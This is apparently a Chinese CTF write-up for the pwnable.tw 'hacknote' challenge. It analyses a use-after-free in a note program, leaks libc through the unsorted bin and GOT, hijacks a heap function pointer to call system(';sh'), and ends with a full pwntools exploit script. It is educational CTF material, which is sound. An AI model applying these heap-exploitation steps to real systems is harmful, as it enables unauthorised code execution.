和媳妇一起学Pwn 之 hacknote

本题可以申请任意大小的堆块,并且在删除时未清空指针数组导致悬空指针,从而产生UAF。利用方式为通过UAF调用一个存在于堆块,并且被一系列堆操作篡改的函数指针,控制流劫持进而getshell。

检查

➜   file hacknote
hacknote: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=a32de99816727a2ffa1fe5f4a324238b2d59a606, stripped
➜   checksec hacknote
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

32位程序,去符号表

分析

运行发现是菜单题,添加,删除,打印,和上一篇博客paper那道题目很相似,我们发现在删除功能仍然是没有清空指针数组:

unsigned int sub_80487D4()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( ptr[v1] )
  {
    free(*(ptr[v1] + 1));
    free(ptr[v1]);
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

所以很明显是一道UAF的题目,漏洞点仍然是存在悬空指针,并且可以被使用。不过本题的数据结构稍微复杂一点,在每次添加新的note时,存在两次malloc

ptr[i] = malloc(8u);
if ( !ptr[i] )
{
    puts("Alloca Error");
    exit(-1);
}
*ptr[i] = sub_804862B;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = ptr[i];
v0[1] = malloc(size);

每个note对于ptr指针数组中的一项,指针指向一个8个字节的空间,前4个字节为一个sub_804862B函数的地址,后4个字节为数据空间的地址。在打印数据时做出如下调用:

(*ptr[v1])(ptr[v1]);

其中便调用了sub_804862B函数,此函数如下:

int __cdecl sub_804862B(int a1)
{
  return puts(*(a1 + 4));
}

很奇怪的操作吧,直接打印不好么?其实这也正是本题利用的思路,存在一个可以通过UAF控制的函数指针。相关数据结构大致结构如下:

                 +--------------------+
                 |                    |
                 |      ptr           |
                 |                    |
                 +---------+----------+
                           |
                           |
                           |
                           |
                           v
                 +---------+----------+--------------------+
                 |                    |                    |
malloc(8)        |    0x0804862b      |  content_addr      |
                 |                    |                    |
                 +---------+----------+-----------------+--+
                           |                            |
                           |                            |
                           |                            |
                           |                            |
                           v                            v
                 +---------+----------+          +------+-------------+
                 |                    |          |                    |
                 |   sub_804862B      |          |   note content     |  malloc(x)
                 |                    |          |                    |
                 |                    |          |                    |
                 |                    |          |                    |
                 |                    |          |                    |
                 |                    |          |                    |
                 +--------------------+          +--------------------+

利用

泄露libc

这题附件给了libc,而且分析也没有后门函数,所以首先肯定需要泄露libc基址。参考WP有以下两种方式泄露libc基址

  1. 申请unsortbin范围的堆块,释放后重新申请到,即可打印出main_arena地址
  2. puts出got表地址

unsortbin泄露libc基址

32位程序最大申请的fastbin的数据大小为60,所以我们申请一个64字节大小,然后free掉,就能让这个堆块加入到unsortbin的链表中。不过在free之前,还需要申请一个堆块,任意大小即可,仅仅是为了将刚才申请的堆块和topchunk隔开,防止合并,这里我们采用32字节的堆块进行隔离。所以步骤如下:

  1. 申请一个64字节的堆块
  2. 申请一个32字节的堆块
  3. 释放第一个堆块
gef  heap chunks
Chunk(addr=0x804b008, size=0x10, flags=PREV_INUSE)
    [0x0804b008     00 00 00 00 18 b0 04 08 00 00 00 00 49 00 00 00    ............I...]
Chunk(addr=0x804b018, size=0x48, flags=PREV_INUSE)
    [0x0804b018     b0 27 fb f7 b0 27 fb f7 00 00 00 00 00 00 00 00    .'...'..........]
Chunk(addr=0x804b060, size=0x10, flags=)
    [0x0804b060     2b 86 04 08 70 b0 04 08 00 00 00 00 29 00 00 00    +...p.......)...]
Chunk(addr=0x804b070, size=0x28, flags=PREV_INUSE)
    [0x0804b070     31 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00    1...............]
Chunk(addr=0x804b098, size=0x20f70, flags=PREV_INUSE)    top chunk
gef  heap bins
[+] No Tcache in this version of libc
──────────────────────────────────────────────────────────────────────────────── Fastbins for arena 0xf7fb2780 ────────────────────────────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x8]    Chunk(addr=0x804b008, size=0x10, flags=PREV_INUSE) 
Fastbins[idx=1, size=0x10] 0x00
Fastbins[idx=2, size=0x18] 0x00
Fastbins[idx=3, size=0x20] 0x00
Fastbins[idx=4, size=0x28] 0x00
Fastbins[idx=5, size=0x30] 0x00
Fastbins[idx=6, size=0x38] 0x00
───────────────────────────────────────────────────────────────────────────── Unsorted Bin for arena 'main_arena' ─────────────────────────────────────────────────────────────────────────────
[+] unsorted_bins[0]: fw=0x804b010, bk=0x804b010
    Chunk(addr=0x804b018, size=0x48, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
────────────────────────────────────────────────────────────────────────────── Small Bins for arena 'main_arena' ──────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
────────────────────────────────────────────────────────────────────────────── Large Bins for arena 'main_arena' ──────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.

我们可以看到第二个堆块的确进入了unsortbin链表中,不过这有啥用呢?我们来看一下这个堆块的内存:

gef  x /8wx 0x804b010
0x804b010:	0x00000000	0x00000049	0xf7fb27b0	0xf7fb27b0
0x804b020:	0x00000000	0x00000000	0x00000000	0x00000000

可以看到这个堆块的fd和bk指向同一个地方,即0xf7fb27b0,这个位置就是位于libc的main_arena结构体中,那我们如何不通过调试把这个地址打印出来呢?只需要再次申请64字节的堆块,内容长度不要覆盖bk,然后调用print功能,打印0号或2号,就能把fd和bk的内容打印出来了:

gef  heap chunks
Chunk(addr=0x804b008, size=0x10, flags=PREV_INUSE)
    [0x0804b008     2b 86 04 08 18 b0 04 08 00 00 00 00 49 00 00 00    +...........I...]
Chunk(addr=0x804b018, size=0x48, flags=PREV_INUSE)
    [0x0804b018     0a 27 fb f7 b0 27 fb f7 00 00 00 00 00 00 00 00    .'...'..........]
Chunk(addr=0x804b060, size=0x10, flags=PREV_INUSE)
    [0x0804b060     2b 86 04 08 70 b0 04 08 00 00 00 00 29 00 00 00    +...p.......)...]
Chunk(addr=0x804b070, size=0x28, flags=PREV_INUSE)
    [0x0804b070     31 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00    1...............]
Chunk(addr=0x804b098, size=0x20f70, flags=PREV_INUSE)    top chunk
gef  c
Continuing.
----------------------
       HackNote       
----------------------
 1. Add note          
 2. Delete note       
 3. Print note        
 4. Exit              
----------------------
Your choice :3
Index :2

这里出现一些十六进制的乱码就是打印出来的地址,去后四个字节就是泄露出来地址

因为我们可以看到ptr数组,0号和2号是指向同一个堆块,因为0号free的时候没有堆ptr数组进行清空

gef  telescope 0x0804A050
0x0804a050+0x0000: 0x0804b008    0x0804862b     push ebp
0x0804a054+0x0004: 0x0804b060    0x0804862b     push ebp
0x0804a058+0x0008: 0x0804b008    0x0804862b     push ebp
本地偏移

那么这个位置和libc的基址差多远呢?不同的libc版本下可能是不一样的,在本地的情况下我们看一下vmmap就好了:

0xf7e00000 0xf7fb0000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so

即:0xf7fb27b0 - 0xf7e00000 = 0x1b27b0

远程偏移

简单的说,unsortbin距离main_arena的偏移是固定的+0x30,main_arena是堆管理器实现的过程中的一个结构体,位于libc的数据段,可以通过在IDA中观察对应libc的malloc_trim()函数f5后的结果即可获得main_arena距离libc的起始偏移,而不同版本的libc也正是main_arena距离libc的基址偏移是不同的。本题给的libc中找到地址0x1b0780,加上0x30,最终的结果为0x1b07b0。偏移的具体值0x30我们可以计算得到,下面是malloc_state结构体的定义,bins数组后续部分进行了省略:

struct malloc_state {
    __libc_lock_define(, mutex);
    int flags;
    mfastbinptr fastbinsY[ NFASTBINS ];
    mchunkptr top;
    mchunkptr last_remainder;
    mchunkptr bins[ NBINS * 2 - 2 ];
    ...
};

unsortbin的fd和bk就是bins[0]和bins[1],所以泄露的指针是指向unsortbin的pre_size的地址:

image

在32位下,也就是bins前面的8个字节处,即应该是top这个变量的地址,这个变量距离这个结构体的起始地址是多少呢?top前面有三个东西:

__libc_lock_define(, mutex);
int flags;
mfastbinptr fastbinsY[ NFASTBINS ];

根据如下定义,知道mutex是个无符号整型,占4个字节,

typedef unsigned int __libc_lock_t;

#define __libc_lock_define(CLASS,NAME) \
  CLASS __libc_lock_t NAME;

在根据定义算出MAX_FAST_SIZE是10,所以fastbinsY这个数组总共是40字节

#define NFASTBINS (fastbin_index(request2size(MAX_FAST_SIZE)) + 1)

#define MAX_FAST_SIZE (80 * SIZE_SZ / 4)

#define request2size(req)                                                      \
    (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)                           \
         ? MINSIZE                                                             \
         : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

#define fastbin_index(sz)                                                      \
    ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)         

flag是个整型,占4个字节,加一起总共48个字节,即0x30:

image

但是这里好像有悖于经验,在gef调试窗口里只能看到7个fastbin的数组,所以fastbin是开了10个,只用了7个么?这里我还不知道,不过从超哥上课的课件,也好像是这个意思:

image

注意:通过unsortbin的这种方式,还没有利用UAF漏洞,就获得了libc的基址

puts出got表地址

这种方式其实就是通过UAF和题目给出的那个怪异的函数指针调用相结合,也就是劫持控制流的方法。首先申请大于最小的fastbin(0xc)的两个note,然后分别释放,因为这里都会malloc出那个数据空间为8个字节的最小堆块,释放后这两块都会加入到fastbin中。然后申请一个8个字节的note,这时就会把刚才释放的两块fastbin给用了,于是原来的第一个fastbin的堆块就完全可控了,show这个堆块的时候就会调用其前四个字节的函数指针,这样就可以泄露GOT地址,进而泄露libc基址了,步骤如下:

  1. 申请2个note,size大于0xc即可
  2. 释放这两个note
  3. 申请8个字节note,内容为p32(0x804862B) + p32(elf.got[‘puts’])
  4. show(0)

执行完第三步后,chunk信息如下:

gef  heap chunks
Chunk(addr=0xa021008, size=0x10, flags=PREV_INUSE)
    [0x0a021008     2b 86 04 08 24 a0 04 08 00 00 00 00 29 00 00 00    +...$.......)...]
Chunk(addr=0xa021018, size=0x28, flags=PREV_INUSE)
    [0x0a021018     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0xa021040, size=0x10, flags=PREV_INUSE)
    [0x0a021040     2b 86 04 08 08 10 02 0a 00 00 00 00 29 00 00 00    +...........)...]
Chunk(addr=0xa021050, size=0x28, flags=PREV_INUSE)
    [0x0a021050     10 10 02 0a 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0xa021078, size=0x20f90, flags=PREV_INUSE)    top chunk

所以执行show(0)时,就可以打印出puts函数的地址,进而泄露libc基址

控制流劫持

刚才通过puts出got表地址泄露出libc基址的方式就是控制流劫持,所以这里我们采用unsortbin泄露基址之后来继续完成控制流劫持。

  1. 继续unsortbin泄露的步骤
  2. 释放掉前两个note
  3. 申请8个字节note,p32(system_addr)+”;sh\x00”
  4. show(0)

即可执行system("&system;sh"),前面代表了system函数地址,对应到字符串是无意义的,所以前面会执行失败,通过分号之后面的sh,因为是用的system函数,所以”/bin”这个目录是在环境变量中,所以直接执行sh就可以getshell了。

exp

通过堆的一系列操作泄露出了libc基址,然后又通过堆的另一系列操作更改了堆块中的一个函数指针,通过UAF漏洞进行对该函数指针进行调用,即可利用成功:

  • 堆操作
  • UAF触发
from pwn import *
context(arch='i386',os='linux',log_level='debug')
myelf = ELF("./hacknote")
libc = ELF("./libc_32.so.6")
io = remote("chall.pwnable.tw",10102)

def add(size,content):
	io.recvuntil("choice :")
	io.sendline("1")
	io.recvuntil("size :")
	io.sendline(str(size))
	io.recvuntil("Content :")
	io.sendline(content)
def delete(num):
	io.recvuntil("choice :")
	io.sendline("2")
	io.recvuntil("Index :")
	io.sendline(str(num))
def show(num):
	io.recvuntil("choice :")
	io.sendline("3")
	io.recvuntil("Index :")
	io.sendline(str(num))

add(64,"")
add(32,"")
delete(0)
add(64,"")
show(2)

libc_base = u32(io.recv(8)[4:8])-0x1b07b0
system_addr = libc_base + libc.symbols['system']

delete(0)
delete(1)
add(8,p32(system_addr)+";sh\x00")
show(0)
io.interactive()